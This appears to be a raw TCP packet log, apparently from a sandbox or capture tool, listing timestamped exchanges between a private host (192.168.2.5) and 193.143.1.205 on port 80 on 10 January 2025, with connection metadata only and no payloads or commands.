Jan 10, 2025 18:27:23.559182882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.559206009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.561891079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.561925888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.561943054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.561958075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.561964989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.561975956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.561986923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.561992884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.562011957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.562015057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.562030077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.562048912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.562067032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.562094927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.562134981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.562153101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.562169075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.562185049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.562194109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.562233925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.564433098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.569612026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.625798941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.625827074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.625858068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.625874043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.625890017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.625906944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.625922918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.625935078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.625941992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.625971079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.625983000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.625988007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626007080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.626013994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626032114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626043081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.626049042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626065969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626081944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626085043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.626144886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626152992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.626197100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.626230001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626246929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626264095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626281023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626329899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.626338959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626354933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626370907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626388073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626389980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.626389980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.626430988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.626468897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626483917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626501083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.626523972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658000946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658036947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658056021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658071041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658097982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658114910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658140898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658145905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658164024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658179998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658188105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658200026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658210039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658226967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658229113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658229113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658243895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658257008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658262968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658278942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658284903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658299923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658304930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658356905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658375025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658390045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658417940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658425093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658426046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658435106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658452988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658472061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658488035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658488035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658586979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658603907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658620119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658626080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658648968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658667088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658677101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658694983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658713102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658718109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658730984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658749104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658757925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658765078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658782005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658787012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658801079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658819914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.658832073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.658862114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.659148932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659221888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659235954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659254074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659260035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.659270048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659286976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659296036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.659333944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.659396887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659415007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659432888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659452915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.659461975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659477949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659492970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659499884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.659512997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659537077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.659606934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659622908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659641981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659658909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659662962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.659676075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.659686089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659703970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659722090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659727097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.659748077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659764051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659765959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.659779072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659801006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.659801006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659820080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659837961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659845114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.659853935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.659876108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.660337925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660353899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660370111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660379887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.660387993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660404921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660406113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.660422087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660439968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.660439968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660473108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.660485029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660501957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660518885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660546064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660557032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.660563946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660588026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.660594940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660612106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660648108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.660653114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660669088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660684109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660691977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.660703897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660721064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.660722017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660736084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660761118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.660964966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.660981894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.661001921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.661010027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.661040068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.661051989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.661058903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.661101103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.665277958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.714749098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.714797020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.714865923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.714894056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.714927912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.714977026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.714996099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715046883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715080976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715092897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.715118885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715154886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715163946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.715210915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715243101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715255976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.715298891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715353012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.715354919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715410948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715445042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715455055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.715480089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715513945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715524912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.715550900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715584993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715595007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.715619087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715652943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715665102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.715687037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715720892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715728045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.715754986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715791941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715796947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.715888023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715924025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715936899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.715960979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.715996027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.716008902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.716037035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.716089010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.725646973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.731424093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.746757030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.746783972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.746800900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.746817112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.746833086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.746849060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.746866941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.746882915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.746925116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.746956110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.746973991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.746982098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747003078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747018099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747020006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747039080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747056961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747066021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747073889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747091055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747095108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747129917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747355938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747381926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747396946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747421026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747423887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747447968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747462034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747466087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747478962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747499943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747509003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747514009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747536898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747612953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747627974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747649908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747652054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747668028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747684002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747689009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747730017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747771025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747786045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747803926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747821093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747822046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747865915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747906923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747922897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747940063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747956038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.747957945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.747997046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.748013973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748032093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748061895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748070955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.748078108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748095036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748107910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.748110056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748148918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.748234987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748250961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748279095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748289108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.748296976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748312950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748333931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.748410940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748429060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748449087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.748451948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748478889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748490095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.748495102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748513937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748532057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748534918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.748557091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748567104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.748575926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748593092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748609066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748615980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.748652935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.748887062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748904943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748944044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.748975992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.748990059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749006987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749025106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749030113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.749072075 CET	49704	80	192.168.2.5	193.143.1.205
